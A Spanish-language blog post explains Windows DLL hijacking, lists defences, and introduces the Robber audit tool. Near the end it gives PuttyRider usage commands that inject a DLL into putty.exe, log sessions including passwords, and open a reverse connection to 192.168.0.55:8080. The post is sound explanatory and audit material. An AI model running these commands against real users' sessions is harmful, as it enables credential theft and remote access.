marzo 29, 2024

Auditar sistemas Windows para evitar DLL Hijacking.

0
Voiced by Amazon Polly
Comparte en redes sociales

Las auditorias de seguridad informática son muy importantes en lo que a seguridad informática se refiere, normalmente usamos dos puntos de vista: desde el punto de vista del atacante que seria una auditoria caja negra y desde el punto de vista del administrador que seria auditoria de caja blanca. Las auditorias es una de las respuestas a la pregunta: ¿cómo puede ayudarte la seguridad informática?, que se suelen hacer los no iniciados en el tema.

El DLL Hijacking, se debe a que Windows tiene una ruta de búsqueda para archivos DLL en su arquitectura subyacente. Se puede averiguar qué DLL requiere un ejecutable sin una ruta absoluta (desencadenando este proceso de búsqueda), se puede colocar una DLL comprometida en un lugar más arriba en la ruta de búsqueda para que se encuentre antes de la versión real y Windows así lo ejecutara, permitiendo colocar un código de ataque en la aplicación. Entonces, imaginemos que la ruta de búsqueda de DLL de Windows se ve así:

A). (directorio donde se encuentra el ejecutable)
B) Windows»
C) Windowssystem32
D) Windowssyswow64 (prioridad mas baja, menos controles)

Por ejemplo: un  ejecutable «Foo.exe» solicita la DLL «bar.dll», que casualmente reside en el subdirectorio “syswow64” (D). Esto da la oportunidad de colocar una versión maliciosa en A), B) o C) y se cargará en el ejecutable. Como indicó anteriormente, incluso una ruta completa absoluta no puede proteger contra este ataque, si se puede reemplazar la DLL con otra versión maliciosa.

Microsoft Windows protege el sistema utilizando el mecanismo de Protección de archivos de Windows para la carpeta “System32”, pero la mejor manera de proteger el ejecutable del secuestro de DLL es:

  • Usar rutas absolutas en lugar de ruta relativa.
  • En el caso de tener certificado digital, se deben firmar los archivos DLL y verificar el inicio de sesión de la aplicación antes de cargar el archivo DLL en la memoria, también se puede verificar el hash del archivo DLL con el hash DLL original. 

Por supuesto, esto tampoco está limitado a Windows. Cualquier sistema operativo que permita la vinculación dinámica de bibliotecas externas es teóricamente vulnerable a esto.

Con la herramienta Robber se puede auditar que DLL de un sistema Windows son sensibles a DLL Hijacking. Esta  aplicación usa un mecanismo simple para descubrir las DLL que son propensas al secuestro:

  • Escanea la tabla de importación de archivos ejecutables y descubre los archivos DLL que se vinculan a ejecutables.
  • Buscar archivos DLL ubicados dentro del ejecutable que coincidan con la DLL vinculada (como he dicho antes, el directorio de trabajo actual del ejecutable tiene la prioridad más alta).
  • Si encuentra alguna DLL, escanea la tabla de exportación.
  • Compara la tabla de importación del ejecutable con la tabla de exportación de la DLL y si se encontró alguna coincidencia, el ejecutable y las funciones comunes coincidentes la marcara como candidato a DLL Hijacking.

Entre la características principales de Robber destaca:

  • Posibilidad de seleccionar el tipo de escaneo (aplicaciones firmadas/no firmadas).
  • Determinar firmante ejecutable.
  • Determinar qué DLL de referencia es candidato para DLL Hijacking.
  • Permite determine los nombres de los métodos exportados de las DLL candidatas.
  • Permite configurar las reglas para determinar qué DLL es mas sensible a Hijacking y las muestra en diferentes colores.

Más información y descarga de Robber:
https://github.com/MojtabaTajik/Robber

Un ejemplo del ataque de DLL Hijacking es PuttyRider, lo que hace esta herramienta es  montar la sesión Putty pudiendo esnifar el tráfico (incluido contraseñas) e inyectar comandos con los privilegios de usuario.  También utiliza DLL Hijacking y function hooking para secuestrar el proceso de Putty y funciona con todas las ultimas versiones (Windows 8, Windows 7, etc) y no requiere privilegios de administración.

Ejemplos de uso:

Enumerar los procesos de Putty existentes y su estado (inyectado/no inyectado)

PuttyRider.exe -l

Inyectar DLL en el primer “putty.exe” encontrado e iniciar una conexión inversa desde la DLL a una IP:Puerto.

PuttyRider.exe -p 0 -r 192.168.0.55:8080

Ejecutar en segundo plano y esperar nuevos procesos de Putty. Inyectar en cualquier putty.exe nuevo y escribir todas las conversaciones en archivos locales.

PuttyRider.exe -w -f

Expulsar PuttyRider.dll de todos los procesos de Putty donde ya está inyectado. (hay que matar a PuttyRider.exe si se ejecuta en modo -w, de lo contrario reinyectará).

PuttyRider.exe -x

Más información y descarga de PuttyRider:
https://github.com/seastorm/PuttyRider

Auditorias de seguridad informática:
https://www.gurudelainformatica.es/2005/12/auditorias-de-seguridad.html

Deja un comentario